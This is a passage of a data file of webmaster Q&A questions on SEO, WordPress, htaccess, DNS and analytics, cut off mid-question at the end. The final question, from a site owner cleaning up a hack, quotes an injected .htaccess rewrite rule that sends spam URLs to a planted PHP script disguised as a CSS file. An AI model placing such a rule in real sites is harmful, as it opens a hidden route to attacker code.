{"id":"59638","title":"WordPress migration not showing images","text":"I migrated my WordPress site from host to host, also to different domain, according to the guide at WPExplorer, however the images do not shown. I replaced the database records via \"Search Replace DB Master\" so the `old_domain.com` was set to `www.new_domain.com`. The images are still missing though (even in admin backend). If I right-click on the picture and copy its address, then put the address into browser search bar, the image works with no problems. So e.g. `www.new_domain.com\/wp-content\/uploads\/XY.png` is the image on the web, it does not work. But if I enter this link into browser, the image does show up. Where could be the problem?"}
{"id":"31917","title":"How to hide website's real address","text":"I'm building a website for public use. It's a sharing website - everyone is allowed to download specific content, but I want to make sure nobody knows where all the files are kept, so I've decided to use URL Forwarding, e.g. when someone visits fakesite.com, it returns realsite.com without revealing\/redirecting to realsite.com. I don't know how to make this work. Please help me by explaining how to use URL Forwarding."}
{"id":"57054","title":"Several images are displayed in one <img> tag that's changeable via JavaScript - is that OK for those images to be indexed by Google?","text":"I have a page which should contain text and several images related to this text. I'd like to show only one image on the page and let the user change the image by clicking a \"->\" button (via JavaScript). 1. Will all of those images be indexed by Google (and others)? 2. How will Google decide which image to show to the user, as they all have the same position on the page, same text, description and other tags? Or could you suggest a better solution?"}
{"id":"60862","title":"How to get a list of people who G+1 my website?","text":"I want to add a G+1 button to my website with which I would like to gather feedback. For this to work I need to be notified each time someone G+1's and shares my website so that I can read the comment and see what other people are thinking about my page. Is there a way to get a list of +1 posts for a webpage?"}
{"id":"59631","title":"Should I create a Separate Image XML Sitemap?","text":"My websites currently have a sitemap XML file that use the rel=\"alternate\" to indicate there is an alternate location to my content in another country and language. I am wondering what the best practice is. Should I create a separate Image sitemap XML file or simply add the image information ( etc.) to the current Sitemap XML file that uses rel=\"alternate\". I ask because there are 10 different websites so I already see the XML file with lots of information because of the rel=\"alternate\". Is there a best practice or is either way perfectly fine? Thanks in advance."}
{"id":"11611","title":"Is it necessary to create a DNS record for \"website.com\" when create one for \"www.website.com\"","text":"When I create a DNS record for website \"www.website.com\", is it necessary to create a record for \"website.com\" first?"}
{"id":"15846","title":"How Do Search Engines Rank Combined Keywords?","text":"Suppose: * A site that ranks very well (1st result) for something like 'best blue widget'. * It also ranks very well (1st page) for 'blue widget'. * It ranks not so well (2nd page) for 'widget'. Obviously, the number of monthly searches are much higher for 'widget' than for 'blue widget', which is still higher than for 'best blue widget'. Now the actual question: **When creating new external links, how does each of the following anchor texts affect SEO for of these searches?** * widget * blue widget * best blue widget [HINT: The answer should be a 3x3 table] [NOTE: Assume the site is relevant for all these keyword combination]"}
{"id":"30829","title":"I develop a project on GAE: how do I download the last deploy my colleagues made","text":"I'm getting started with Google App Engine, and just got my first invite to a project that has already been started by someone else. How do I download the code to start editing it? (I do see the project in the `launcher` in red) If it has any importance, my permission is `Developer`"}
{"id":"9762","title":"How does Google show a web page's recipe photo inline with the search results? How'd they do that?","text":"On Google, if you search for \"chana dal recipe,\" in the middle of the search results page you'll see one search result with an image of the meal, taken from the underlying web page. It's the only one. My Questions: 1. Did Google someone magically isolate the one image on the web page which summarized the recipe? or 2. Did the Webmaster\/Page author somehow designate and promote that particular image so that Google would inline it in the search results?"}
{"id":"57898","title":"Can I redirect Google bot to another domain with escaped_fragments?","text":"I'm trying to make my Webapp SEO friendly. I read that I can redirect Google's bot to another URL with `escaped_fragments`. I'd like to use _Phantom.js_ to serve Google my pages. Unfortunately, I can't run Node with my hosting solution. Can I redirect Google bot to another domain? Will it hurt?"}
{"id":"29348","title":"PECL extension in Ubuntu 11.10","text":"while setting up mediawiki on my local development machine, the installer told me that since i do not have PECL extension to php installed, i will have to do with slower page load speeds with traditional php page loading. Does PECL really increase page load speeds? How do i install it on my Ubuntu LAMP server?"}
{"id":"55598","title":"How do I stop Soft 404 errors from piling up for \"No Results\" page?","text":"Recently, I noticed that I have a growing list of Soft 404 errors in Google Webmaster Tools. They are all for dynamically generated search result pages that report \"No matches found\". I _do_ understand what Google means by _Soft 404_ and why they are reporting it for these pages. So I added `<meta name=\"robots\" content=\"noindex\">` to these pages. However, Google is still reporting new _Soft 404_ errors for pages that are using the _noindex_ meta tag. Why does Google report **_any_** error for a page I told them not to index? The problem is that with all these unwanted errors, I can't see if there are any real problems that need to be fixed. Some have said that these pages should return a 404 status code. But that just shifts the problem over to the 404 errors tab. Besides, Google returns status code 200 for their _no results_ page. I don't want to block access with robots.txt because I want the links on these pages followed and I want Google to see the _noindex_ meta tag. Besides, there is no pattern that I could use to block these. Google found these URLs in the first place because the content used to exist, but has since been deleted. I can't return a 410 status code, because my PHP code has no way of knowing the reason why no results were found. Is there anything I can do to make it easier to see the real problems?"}
{"id":"10502","title":"Does have a web address on your site affect SEO?","text":"If I have http:\/\/www.site.com And <a href=\"http:\/\/www.site.com\">www.site.com<\/a> The second one is bad, but will the first one count as an out link?"}
{"id":"53574","title":"Cascading matches in robots.txt","text":"I was wondering if it's possible to let bots match two groups of `User-Agent:` blocks. I have this block of robots.txt User-Agent: AhrefsBot # https:\/\/ahrefs.com\/robot\/ Crawl-Delay: 5 User-agent: * Disallow: \/error.php Disallow: \/cron.php ... and many more rules ... Now, I wonder if AhrefsBot will now respect the crawl-delay and also respect the rules in `user-agent:*`? If not, then I'd have to duplicate everything under `user-agent:*` which would be quite unhandy."}
{"id":"29341","title":"What different email addresses should I use to test email coming out of my website?","text":"I have recently noted a few clients complaining that emails from one of my sites always go into their spam folder. I don't know enough about email to start trying to work out even what level in my stack this is happening at - so first I want to collect as much information as possible and write up a test plan for emails coming out of my system. I was thinking about setting up accounts at the following places: * gmail * hotmail * ymail * same domain as the website * custom domain on same server as website * custom domain on another server Do you think this is a complete enough list?"}
{"id":"57891","title":"Send additional product data to Google Analytics with Ecommerce tracking","text":"Every GA Ecommerce transaction allows me to send just two variables, name and category, to describe each product. I want to send additional data to create more useful reports. For example, I have t-shirts, jeans, shoes... and I want to send the brand and size too. _gaq.push(['_addItem', 'N. 87987', \/\/ transaction ID 'TSATR5', \/\/ SKU 't-shirt', \/\/ product name 'men', \/\/ category 'Adidas', \/\/ A custom category '25.99', \/\/ price '1' \/\/ quantity ]); I know that the example above doesn't work because the _addItem() method does not accept extra parameters. I tought that custom variables could help me to solve this riddle but actually they couldn't. Is there a way to send this extra data to Google Analytics?"}
{"id":"18942","title":"Create sprites automatically","text":"I get the folder with the following structure from my designer*: > file.css > > images\/ Is there any tool which can automatically create sprite from images folder and replace all images references from file.css to appropriate sprite section? *It is actually not a designer (the man who creates design in, for example, Photoshop) but the man who makes html+css from it. How is this profession correctly called in English?"}
{"id":"63263","title":"SEO impact when using php include","text":"I always make a footer and a header and include them in my php pages but I am not sure the impact of doing this for SEO. The header has only a main banner and the navigation menu, all the metatags including page description are unique to each page. So if I made just one header file and one footer file to php include on all pages , does it affect SEO?"}
{"id":"68698","title":"Multisite permalinks for subfolder wordpress installation","text":"I have WordPress installed in a subfolder of the main site: `http:\/\/www.example.com\/blog\/` Now I need to add second blog on `http:\/\/www.example.com\/blog\/second\/` So 2 blogs should work on the following URLs: 1. `www.example.com\/blog\/` 2. `www.example.com\/blog\/second\/` I configures WordPress and almost everything works fine, but I have a little issue with the main blog (`www.example.com\/blog\/`), the post URLs look like **\/blog\/blog\/hello-world\/** rather than **\/blog\/hello-world\/**. Second blog URLs work properly. I tried to change permalink structure in site settings to \/%postname%\/, and all URLs look good after that, but all they cause 404 error. How can I get rid of double \/blog mention in this case? Thanks in advance! wp-config settings: \/* Multisite *\/ define( 'WP_ALLOW_MULTISITE', true ); define('MULTISITE', true); define('SUBDOMAIN_INSTALL', false); define('DOMAIN_CURRENT_SITE', 'www.mysite.com'); define('PATH_CURRENT_SITE', '\/blog\/'); define('SITE_ID_CURRENT_SITE', 1); define('BLOG_ID_CURRENT_SITE', 1); htaccess: RewriteEngine On RewriteBase \/blog\/ RewriteRule ^index\\.php$ - [L] # add a trailing slash to \/wp-admin RewriteRule ^([_0-9a-zA-Z-]+\/)?wp-admin$ $1wp-admin\/ [R=301,L] RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] RewriteRule ^([_0-9a-zA-Z-]+\/)?(wp-(content|admin|includes).*) $2 [L] RewriteRule ^([_0-9a-zA-Z-]+\/)?(.*\\.php)$ $2 [L] RewriteRule . index.php [L]"}
{"id":"8859","title":"=~ (equal-sign tilde) and m\" ... \" in .htaccess directive","text":"I saw this bit of code on an old forum post: SSLRequire %{HTTP_HOST} =~ m\"\\.secure\\.powweb\\.com\" And I was just wondering what the `=~` and `m\" ... \"` meant. I've been searching online and in the Apache documentation for any mention of the _equal-sign tilde_ operator, but I've found no mention of it. I know that some directives can take a tilde to use a regular expression, but I've never seen the `m\" ... \"` form used before. What exactly is that `m\" ... \"` for? Where else would you see this form?"}
{"id":"8858","title":"Best signature fonts","text":"Are there any good realistic looking signature fonts you guys know of?"}
{"id":"34980","title":"Terms and conditions for a simple website","text":"> **Possible Duplicate:** > When does a website require a privacy policy and\/or terms of use? I finished building a website for an online chess club which I am a member of. This is my first website. The site has blogging feature so the members can log in and write blog posts and comment on other posts. The membership is limited to users of an online chess site (freechess.org) and any member of that site can join this site as well. I was wondering, is it needed to put up a terms and conditions for my new website? If so, can I have a model of that? I searched and found some models but they are all for big sites that have e-commerce etc."}
{"id":"8850","title":"Website Form to deposit funds to your bank account","text":"Is there a way to receive payments to your bank account from your website. I know PayPal is one option, and I know using a merchant account and gateway are another, but are there any other options?"}
{"id":"66964","title":"Google Analytics: Multiple domain, One tracking ID, one email report","text":"I created a new Tracking ID for 10 Drupal sites. However, why all 10 sites reports are the same in my Google Analytics? * * * **_update: added additional information_** Here are 10 sites info I got ** ### Drupal site 1: siteA.com ** Code on Google Analytics Module: **UA-00000001-1** ** ### Drupal site 1: siteB.com ** Code on Google Analytics Module: **UA-00000001-2** ** ### Drupal site 1: siteC.com ** Code on Google Analytics Module: **UA-00000001-3** . . . and so on **PS: For each site, I added the** ## same 2nd tracking ID and code on Custom Javascript code in Google Analytics Module code snippet(before): _gaq.push([\"_setDomainName\", \"none\"]); _gaq.push([\"_setAllowLinker\", true]); Code snippet (after): _gaq.push([\"_setAccount\", \"UA-00000002-1”]); _gaq.push([\"_setDomainName\", \"none\"]); _gaq.push([\"_setAllowLinker\", true]); _gaq.push([\"_trackPageview\"]); ### Also I added a Filter for each Google Analytics View on tracking ID UA-00000002-1. **on SiteA.com** Filter Type: - Predfined Filter> Include only > Traffic to the hostname > that begin with Hostname: SiteA.com **on SiteB.com** Filter Type: - Predfined Filter> Include only > Traffic to the hostname > that begin with Hostname: SiteB.com **on SiteC.com** Filter Type: - Predfined Filter> Include only > Traffic to the hostname > that begin with Hostname: SiteC.com ... and so on"}
{"id":"67569","title":"Swapped 2 accounts domains on WHM, now both no longer work","text":"I have 2 accounts with websites on my VPS - one had an old website, the other I was developing a new website on. When I had finished the new website I simply went to 'Modify Accounts' and swapped the Domain Names fields of both accounts, so that the new account had the old accounts domain name and vice versa. Now neither site works - I just get the standard CPanel `defaultwebpage.cgi` place holder. Have I missed something? Does anyone know what I can do to fix this?"}
{"id":"59946","title":"2nd Google Analytics account not working","text":"I've created a site for a client and pasted Google Analytics script for both there account and mine. My account seems to track fine, but their account does not, even though both accounts have been verified by Web Master Tools. I've done this many times in the past but now notice GA's tracking code is slightly different. Is there a new way to add multiple GA accounts to one site? New Tracking code: <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('create', 'UA-12345678-5', 'mysite.com'); ga('send', 'pageview'); <\/script>"}
{"id":"39696","title":"Backlink from page with low pagerank but site has high pagerank - effect from Google?","text":"My understanding is that if I have too many backlinks from low PR (pagerank) sites, Google considers them to be low quality links and if you have too many, your site may even be de-indexed from Google: http:\/\/www.seomoz.org\/blog\/how- to-check-which-links-can-harm-your-sites-rankings I've read that some people say backlinks from high PR pages can be helpful to your site. But what about a backlink from a high PR site with a low PR page? A lot of sites out there have higher PR, like Best of the Web directory. That is, the home page of Best of the Web has a PR of 6. But if you drill down to the specific page where a site is listed in the Best of the Web directory, the PR can be low (ie. PR of 0). Does Google look at the PR of the overall site rather than the PR of the specific page when it determines how PR is passed to your site? Or does Google **ONLY** consider the PR of the specific page when it determines how PR is passed to your site? If Google only considers the PR of the specific page, then it's not worth listing in a directory like Best of the Web because the actual page on Best of the Web that links to your site almost always has a low PR. In fact, listing on Best of the Web be harmful to your site because you're getting a backlink from a page with a low PR."}
{"id":"59944","title":"Make a domain point to another domain","text":"I have never been able to figure out how to do this. I am working on a PHP script. With my script, each user will have access to their own site. For example, the URL for this would be `myscript.com\/frontend\/username` where this uses an htaccess file to generate their site based on the username in the URL. (hope this makes sense). Now I want to make it so that they can have their domain point to this. For example, lets say their domain name is `theirsite.com`. I want to make it so that, say if someone visits `theirsite.com\/about` it really points to `myscript.com\/frontend\/username\/about` More examples: * `theirsite.com\/about` should point to `myscript.com\/frontend\/username\/about` * `theirsite.com\/blog\/post-12` should point to `myscript.com\/frontend\/username\/blog\/post-12` * `theirsite.com` should point to `myscript.com\/frontend\/username` How do I do this?"}
{"id":"26828","title":"Transferring maildir emails to another server","text":"Is it safe to simply copy messages from one server and place them into the 'new' folder of an email account on another server without shutting down any of the mail servers? Both servers are Dovecot IMAP."}
{"id":"26821","title":"Using AJAX on homepage to handle feeds, bad for SEO?","text":"I'm running multiple feeds of loops on my homepage much like youtube.com and I want to use AJAX to load them instead of tabbed content with jQuery. Since most of my traffic comes from posts I'd like to know how it impacts my site with Google with less crawlable links and excerpts. My question is this: How bad is it for my SEO to use AJAX to load the feeds on my homepage? Each feed contains links to new posts in different categories and I have 10 of them so loading them with jQuery Tabs adds load time but makes it all crawlable."}
{"id":"19748","title":"403 error with a 301 redirect in .htaccess","text":"I wrote a rewrite rule for one of my pages. This rule is supposed to be for a specific single URL only hence the \"static-ness\". RewriteRule ^picks\/categorizedPicks\/126$ search\/?catalogue=11&module=20 [NC,L,R=301] This rule is a permanent redirect with the `R=301` flag. The redirect works fine without the R=301 flag but gives a 403 error with it. Anyone knows what the problem is?"}
{"id":"48849","title":"Best way to segment data in Google analytics?","text":"I have a web site which has a number of distinct parts, there is a public marketing site, a members area and a admin section for staff, all three are part of the same website and currently the analytics are all merged. What I need to do is segment the data into three distinct sections, so I can see what is really going on. What is the best way to do this? three separate accounts? or would it be better to use a custom variable and tag the sections accordingly? or is there another way?"}
{"id":"58679","title":"Cronjob doesn't seem to work in Parallels Plesk","text":"I set up two cronjobs in Plesk using their interface, but they don't seem to work. What's wrong? * *\/1 * * * curl --silent --compressed http:\/\/*****.com\/assign_social_scores *\/5 * * * * curl --silent --compressed http:\/\/*****.com\/fetch_resources They should be called the first every hour, the second every five minutes"}
{"id":"1772","title":"How do I set up a cookie-less domain?","text":"I've read that it's best to serve static content (css, javascript, etc.) from a cookie-less domain or subdomain for better performance. I assume a domain is not cookie-less by default. How do I specify that I don't want to use cookies?"}
{"id":"69063","title":"How risky is putting sensitive files up on webroot?","text":"I understand that having anything sensitive under webroot is not smart; someone may be able to access it via url. However, I do not have a choice with my web host (iPage) as they limit my server space to just the web root. So my question is: how risky is it to just have sensitive files in a directory in a webroot with just simple forbidden public access? Any insight on this topic would be greatly appreciated. EDIT: The 'sensitive files' are an installer for our startup's software and the php files that allow the download \/ control sql access."}
{"id":"41143","title":"How to remove adware pop up?","text":"I get an ad pop up that should not be on the site. It has only appeared once. The HTML code for the pop up window that appeared: * http:\/\/pastie.org\/5674909 Here is the full HTML pastie: * http:\/\/pastie.org\/5674931 It is a rather new adware\/malware software. I found other people having the same problem: * http:\/\/www.bmw2002faq.com\/component\/option,com_forum\/Itemid,50\/page,viewtopic\/p,990200\/sid,4b16e92c535d6716d6eaf04d6b6c8d78\/ * http:\/\/wetpixel.com\/forums\/index.php?showtopic=49133& And last I found this forum where the Admin says it was a vulnarbility in the code: * http:\/\/forum.cs-cart.com\/topic\/29635-malware-on-this-forum\/page_st_20_p_152290#entry152290 But he does not mention which vulnerability."}
{"id":"41142","title":"Cannot access my website","text":"I am not very sure where is the problem, but it is following: I have webhost http:\/\/dtech.id.lv which I cannot access from both of my home PC's nor via browser nor via FTP. It opens normaly if I use proxy or try to open this page on other then my home PC's Is there any suggestions\/methods I can try to detects where is problem and whats blocking connection? I think problem appeared when I was messing with wordpress and .htaccess file which I deleted... (is there a way to reset webhosting without contacting anyone?) Thank you!"}
{"id":"58676","title":"Title and path for periodic articles\/analysis","text":"Let say I have a weekly analysis of the market. This analysis only useful for that week. Although the content is different every week, the title and concept is the same. In order to have a better SEO which one is a better solution: 1. Add the time stamp to the title and URL of each file. 2. Choose a fix URL and title for this page and update the content every week. (Archive the older ones) 3. Or what? Also, I would be happy to know some SEO tips on this type of contents (periodically, with the same nature, but different content). Note, assume that the content is a bunch of charts, and we cannot select a unique title for each of them."}
{"id":"58859","title":"Is there a risk that custom URLs for Facebook and Google+ will compete with your own site?","text":"Is there any downside to registering a Facebook page custom URL or Google Plus custom URL? My primary goal is to drive traffic to my site. Is there a risk of these social media custom URLs competing with my own domain's website and cannibalizing my own traffic? Specifically, I'm imagining the scenario where my Google Plus \/ Facebook page are ranked higher than my own domain in SERPs: plus.google.com\/+Example facebook.com\/Example www.example.com I mean Facebook and Google want traffic so they can sell ads and I want the same thing. I plan on having social media pages, but wondering if it's better to not get the custom URL. Or do the benefits outweigh the risks?"}
{"id":"41149","title":"How can I get a free UK IP address?","text":"I live in Germany, work for a real estate broker. I would like to list some of our properties on Gumtree.co.uk, however they don't allow submissions from outside of UK - they are automatically blocked because of non-UK IP address. Is there a way to do this without paying? If not, what paid service would you recommend?"}
{"id":"60873","title":"Is my PageRank improved when someone else uses my images?","text":"Let's say person A have a website named `www.asite.com`, and an image in `www.asite.com\/images\/example.jpg`. Now, someone else (person B) uses this image in his\/her website with `<img src=\"www.asite.com\/images\/example.jpg\"><\/img>` code. Question is, will A's PageRank improve?"}
{"id":"56429","title":"Setting up Google Analytics filter to exclude any spam IP which hits wp-login.php","text":"I'm launching a new website, not hosted on WordPress, but the majority of the (thin) traffic is junk like this: 46.165.211.194 \"GET \/wp-login.php HTTP\/1.0\" 404 8012 \"-\" \"-\" 46.165.211.194 \"GET \/static\/wp-login.php HTTP\/1.0\" 404 162 \"-\" \"-\" 46.165.211.194 \"GET \/recycle\/wp-login.php HTTP\/1.0\" 200 29695 \"-\" \"-\" 46.165.211.194 \"GET \/junkmail\/wp-login.php HTTP\/1.0\" 200 80409 \"-\" \"-\" 199.19.122.114 \"GET \/administrator\/index.php HTTP\/1.0\" 404 8051 \"-\" \"-\" I'd like to find an automatic way to exclude any IP address that has hit a honeypot (like `wp-login.php`) in the last week. What would a GA filter for this look like, is it possible? Is there a good tool at the Apache level for this kind of sudden death honeypot? The spam traffic is the majority of traffic to the site, which makes log analysis a pain."}
{"id":"27748","title":"Why a page that works returns a 500 error?","text":"I have this url that seems to work fine but it returns a 500 error. http:\/\/comehike.com\/outdoors\/hike_widget.php?hike_id=164&height=700&width=500 Any idea why that is possibly happening? I have like 10k such errors in my google webmaster tools :("}
{"id":"18365","title":"Retrieve static webpage on client cache from dynamic content","text":"I was developing a website on a certain web host and they lost everything. They told me their disks crashed and even the backup are unretrievable. I am mad. As I was often accessing my website through my personal browser, is there any way I can get the static webpages from my cache? I managed to find the css, pictures and js files from my local cache, but I would really want to also get back all the texts (content) that I've written. The webpages were generated dynamically (php) from a database (mysql) so I found no html files containing the text for each of my pages. Is there a way I can get these texts or any trace of html source for my webpages..? Thanks in advance"}
{"id":"24543","title":"Is logging personally identifiable information a bad practice or violation of law?","text":"I know we all do semi-anonymous logging (server logs, Google Analytics, etc.). However, on one of our external web applications, we have some non- reproducible errors that the external users report occasionally. I chalk most of them up to a PEBKAC errors, but I always investigate the problem to see if I have the same problem. While talking to the internal user that manages it, she mentioned that it is too bad that we can't figure out what browser the person is using without having to call them. I told her that actually we can, but normally it is anonymous data that isn't directly linked to a user. I am curious, is this practice frowned upon? Actually tracking what browser an identified user is using to fill out our forms and log that information with their data. Nothing more than what is logged normally, just linked to a user. Thoughts? **Updated** : I thought I could get by without more details about the application and why. This is for a job application... application. I am trying to track down some \"bugs\". We hate to always call the user back and ask what browser they were using and how they got the error. If I link their browser information to their name as they fill out the form it removes one piece of the puzzle and I may be able to track down some of the browser-based errors. The real question is if this is against best practices and\/or the law."}
{"id":"24540","title":"Google analytics new version has no summary?","text":"I'm trying to understand this new version of Google analytics and I'm really puzzled. One of biggest assets (to me at least) was that I was able to see with a glance how my sites are doing. In the old version, this was easy as cake, but with new version, I'm stumped - how could they replace something so useful with ... NOTHING??? When I logged into old version I got this:  And on new version I get this, which is nothing...  Is there any reasoning behind this or is it just a fluke? If this new version becomes only version, I'll be forced to find my analytics happiness somewhere else ..."}
{"id":"18366","title":"Using scripts to visit site and leave immediately to lower Page Rank of competitors?","text":"Using Google Analytics, in the past week we've noticed an extremely high percentage of people visiting our pages and leaving after less than one second. In some cases they are leaving after zero seconds... Anyone versed in today's SEO knows that Google track's the \"time on site\" statistic and uses that to help determine their rankings in search. What we think is happening is that a competitor might be doing this intentionally. Setting up CURL scripts or something to continuously visit a site and leave immediately, thus hopefully lowering our search rankings eventually. Perhaps they are doing it from multiple IP addresses, we can't tell using Google Analytics (or can we?). Has anyone heard of this type of behavior? Is there a specific name for it? How do you combat it? We've been considering tracking the time-on-site using `window.load` and `window.unload` and then recording the visited time along with the IP address in order to determine the IP addresses that are causing the problems. Any clues?"}
{"id":"32261","title":"mod_rewrite to edit cookies conditionally","text":"Is it possible to use mod_rewrite to modify values in cookies based upon a condition? I am completely new to HTTP, but I have tried a thing or two. The only regex I know is Perl-style, I hope it is okay. RewriteRule s\/.[0-9][0-9][0-9]\/COOKIE=MSFNODE\/g; 1. `MSFNODE` is a value in my cookie. 2. The thing I want to run my regex on is `SESSIONID` (also in my cookie). I'm not sure how to choose that as a target. 3. As the regex shows, I want to replace `.[0-9][0-9][0-9]` with my cookie value called `MSFNODE`, _but only if`MSFNODE` exists!_ Is `COOKIE=MSFNODE` the right way to do this? Also, I only want this to happen if `MSFNODE` exists — as it is now, will it just pass on through and not follow the rewrite rule if `MSFNODE` doesn't exist? I feel like even my most basic regex is flawed here."}
{"id":"24549","title":"LaunchRock CNAME configs, what do they do?","text":"Trying out LaunchRock, and ran across this: general-instructions-for-creating-your-cname-record Basically as far as I'm able to tell they only support using your sub-domain as the URL, not having the \"launch page\" at \"subdomain-by-you.launchrock.com\". Guessing the guide to changing the subdomain and CNAME means you create a subdomain and then while the user sees \"signup.yoursite.com\" the DNS call is really going to LaunchRocks servers and being routed to the custom page you set up with them, though that's just a guess on my part."}
{"id":"18369","title":"De-indexing pages and checking with Google's site: command","text":"I am trying to de-index a certain url from google, but for some reason it just isn't working. I added this snippet: <meta name=\"googlebot\" content=\"noindex\"\/> To this page: http:\/\/www.comehike.com\/outdoors\/parks\/edit_park_topic.php?park_id=55621&topic_id=1&topic_name=General%20Information&park_name=Kings%20Canyon%20National%20Park And generally the page edit_park_topic.php which you can view source and see the no-index snippet. For some reason it isn't de-indexing those pages because if you search this in google: site:comehike.com\/outdoors\/parks\/edit_park_topic.php - it will show almost 200,000 results. And it is actually adding pages since before it was less than that. Is the site: directive showing only the indexed pages or all of them? How can I get those pages de-indexed? Also, for the panda update, do you think having the 200k pages with that form will be damaging? I already got hit by panda for having other violations which I resolved, but my traffic had not come back, and I just discovered recently this form of which there are 200k urls. Thanks!"}
{"id":"15620","title":"Does the \"canonical name\" in DNS make any difference to search engines?","text":"Some of our sites are setup with an \"a record\" to an IP address and some are setup as a cname of a server that then has an \"a name\" to the same server IP. I want it to be consistent. Which is the best way?"}
{"id":"17996","title":"404 working only with wrong extension","text":"My 404 .htaccess works very well when I put a wrong extension at it in place of .php. Unfortunately the 404 does not work when I put a wrong name with .php. This is my .htaccess code: <Files ~ \"^.(htaccess|htpasswd)$\"> deny from all <\/Files> Options -Indexes RewriteEngine On RewriteCond %{HTTP_HOST} !^www\\..* [NC] RewriteRule ^(.*) http:\/\/www.%{HTTP_HOST}\/$1 [R=301] ErrorDocument 404 \/404\/notfound.html order deny,allow"}
{"id":"17995","title":"Having trouble redirecting old product sites and categories to new pages","text":"I recently upgraded a shopsystem to prestashop and imported the previous products (~1200), and I managed to keep the old `category_id` and `product_id`. I'm trying to set up those 2 rules to redirect all my old incoming links to the new page, however for some reason they always end up on the 404 page instead. So my old link was detail.php?artikel_id=123 and now this product became product.php?id_product=123 here is my .htaccess: <IfModule mod_rewrite.c> # URL rewriting module activation RewriteEngine on # URL rewriting rules RewriteRule ^api\/?(.*)$ \/prestashop\/webservice\/dispatcher.php?url=$1 [QSA,L] RewriteRule ^\/prestashop\/index\\.php?artikeltyp=([0-9]+)$ \/prestashop\/category.php?id_category=$1 [L] RewriteRule ^\/index\\.php?artikeltyp=([0-9]+)$ \/prestashop\/category.php?id_category=$1 [L] RewriteRule ^\/prestashop\/detail\\.php?artikel_id=([0-9]+)$ \/prestashop\/product.php?id_product=$1 [L] RewriteRule ^\/detail\\.php?artikel_id=([0-9]+)$ \/prestashop\/product.php?id_product=$1 [L] <\/IfModule> # Catch 404 errors ErrorDocument 404 \/prestashop\/404.php Note that this is my test installation at my laptop, and the new shop is currently set up under `\"http:\/\/localhost\/prestashop\/\"`. I tried it with and without the `\/prestashop\/` in the rules, no effect. My .htaccess is in `http:\/\/localhost\/prestashop\/.htaccess`. Any idea of what I do wrong here? Did I escape it correct? How can I find out where it actually tries to redirect to me before i get the 404?"}
{"id":"1552","title":"Combine websites without hurting SEO","text":"I have a friend that I'm helping out with some web design. Basically, the guy owns a few businesses that are all complementary of each other and he wants to combine them all into a single site. There's service A and B, based on the west side of our state; and service A and B based on the east side. Each has their own website (eg, eastservicea.com, westservicea.com). The previous web designer maintained completely separate and unique content, and unique designs, for all four sites. He is now wanting to merge all that together into a single site (statewideservica.com) with a new design. Right now all four sites are at the top of the searches for his niche market. The last thing we want to do is hurt that SEO. So the debate how do we merge these sites without hurting the SEO. 1. Keep the existing URL's and just make the content of all the same. 2. Redirect all the sites to the new URL. 3. Set a static page on all the existing URLs with content, but all links point to the new URL. Any thoughts?"}
{"id":"1555","title":"Is there any way to improve the speed of Google Adsense\/Analytics?","text":"Whenever I run Google Page Speed or YSlow, many of the optimisations suggested stem from my use of Google Adsense and Google Analytics. For example, YSlow says there are \"9 external Javascript scripts\" - I only have one on my site, so the rest are obviously from either adsense or analytics. Also under \"Reduce DNS lookups\", these domains are listed: > pagead2.googlesyndication.com > googleads.g.doubleclick.net > www.google-analytics.com > altfarm.mediaplex.com > img-cdn.mediaplex.com > eu.bid.invitemedia.com > ad.doubleclick.net s0.2mdn.net > pixel.invitemedia.com adadvisor.net Is there anything I can do to reduce these or make other improvements to the speed?"}
{"id":"17992","title":"In Adwords is it possible show ads during particular times for multiple time zones","text":"Is it possible to have a campaign covering lots of countries \/ lots of different time zones, and to have ads showing only during particular times of day as per those time zones -- for example between 9a and 5p for each time zone?"}
{"id":"27991","title":"Obtaining visitor stats without traffic monitoring software","text":"A client would like me to obtain visitor stats for his website, but does not have any traffic monitoring software installed. So I'm wondering if it's even possible. The site is hosted on Heroku, so I might be able to trawl through the logfiles and pull out unique IP addresses, but I was just wondering if there's some other way."}
{"id":"11102","title":"robots \"INDEX,FOLLOW\" vs \"ALL\" is there any difference?","text":"Hey folks, Is there _any_ if so, _what_ is the difference between these two? In order to allow everything a search engines wishes for `<META NAME=\"robots\" CONTENT=\"index, follow\">` `<META NAME=\"robots\" CONTENT=\"all\"`"}
{"id":"51322","title":"Mediawiki: Page is in category without linking in code","text":"Normally pages are assigned to categories if they have a link like `[[Category:example]]` but recently I noticed that we have a new category which is not listed on any pages that are in this category. So: * Category site `example` (contains multiple pages) * looking at the code of one page -> no lik to this category How is it possible to remove the page from the category if no link to the category exists in the source code?"}
{"id":"11100","title":"Do all search engines obey nofollow rel attribute on hyperlinks","text":"I have been informed that search engine support is inconsistent for the rel attribute with the 'nofollow' value. Is this the case. From my research Google, Yahoo and Bing seem to obey this attribute and will NOT follow links with it present. I need to be sure before questioning the integrity of the SEO team :)"}
{"id":"14461","title":"Effective combatting of 100's of spam links in Google Results","text":"I have recently been the victim of this **hacking exploit** (blog post is for reference only and is _not_ my site. I'm in the process of following it and cleaning up after the attack). Note the exploit at the top of my `.htaccess` file; <IfModule mod_rewrite.c> RewriteEngine On RewriteRule myq-(.*).htm$ wp-includes\/js\/tinymce\/themes\/advanced\/skins\/wp_theme\/img\/style.css.php [L] <\/IfModule> Options +FollowSymLinks IndexIgnore .htaccess *\/.??* *~ *# *\/HEADER* *\/README* *\/_vti* <Limit GET POST> order deny,allow deny from all allow from all <\/Limit> <Limit PUT DELETE> order deny,allow deny from all <\/Limit> <IfModule mod_rewrite.c> # BEGIN WordPress RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] # END WordPress <\/IfModule> So the exploit has had the effect of producing **hundreds of spam links** in Google, but under my domain name. Some examples; ... Printable coloring pages of a caterpillar mysite.com mysite.com\/myq-zjjcq.htm Coloured lettering cut out mysite.com mysite.com\/myq-viki-60693.htm Printable leopard coloring page mysite.com mysite.com\/myq-96.htm Printable oedipus rex mysite.com mysite.com\/myq-ei9vd.htm ... What is the most effective way to combat these links by using Google Webmaster Tools and `.htaccess` to get rid of them from the Google results. Is it best to serve a 404? How can I achieve this using the `.htaccess` file? The site is hosted is on a shared server. I only have access 